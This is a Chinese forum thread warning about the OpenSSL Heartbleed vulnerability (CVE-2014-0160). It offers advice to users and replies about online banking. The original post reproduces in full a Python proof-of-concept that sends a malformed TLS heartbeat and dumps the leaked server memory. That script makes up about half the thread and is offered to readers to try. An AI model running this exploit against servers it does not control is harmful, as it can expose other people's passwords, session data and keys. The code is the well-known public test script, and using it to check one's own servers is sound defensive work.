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警惕OpenSSL漏洞

警惕OpenSSL漏洞

最近OpenSSL 被发现了一个超级漏洞(心脏出血级别的),该漏洞允许黑客远程获取一些https 用户的账户和密码(明文)。由于大部分带有支付平台的网站都采用https 协议,因此均存在用户账户密码被盗的极大风险。
我昨天用360安全卫士提供的一个小测试软件测试了几个大型的网站(支付宝、淘宝、汇添富、工招建交等的网银等),这几个网站均已打好补丁。但可能还会有一些小型的网站没来得及升级。

应对该漏洞的办法主要是需要网站维护方对OpenSSL 进行升级。据我(James ,本帖为原创)本人了解,该漏洞是在某些特殊请求发生溢出的情况下(黑客可故意制造这种溢出),代码中的某个语句会调用 memcpy 函数把多达32k 的内存拷贝出来,这些内存里面包含若干近期登陆网站的用户名和密码。因此我判断,如果网站未来得及升级维护,作为用户来讲最好的办法就是一段时期以内不要登陆该网站,这样memcpy 应该不会拷贝走您的账户和密码信息。

以下给出用于测试该漏洞的 python 代码,感兴趣的it工程师朋友可以试试。

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test
for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP
port to test (default: 443)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed
connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed
connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' %
(typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is
vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any
extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
main()

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另外昨日田书记与网管沟通过,本网站用的不是https 协议,OpenSSL 的该漏洞不影响咱们网站的用户和密码。因此请大家放心使用。

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这个漏洞这几天挺火。

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这几天少用网银什么的

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谢谢各位的提醒!这几天可以不用网银。我有一个问题:如果以后用网银,特别是转出,有银行的U盾保护就会没问题了吧?

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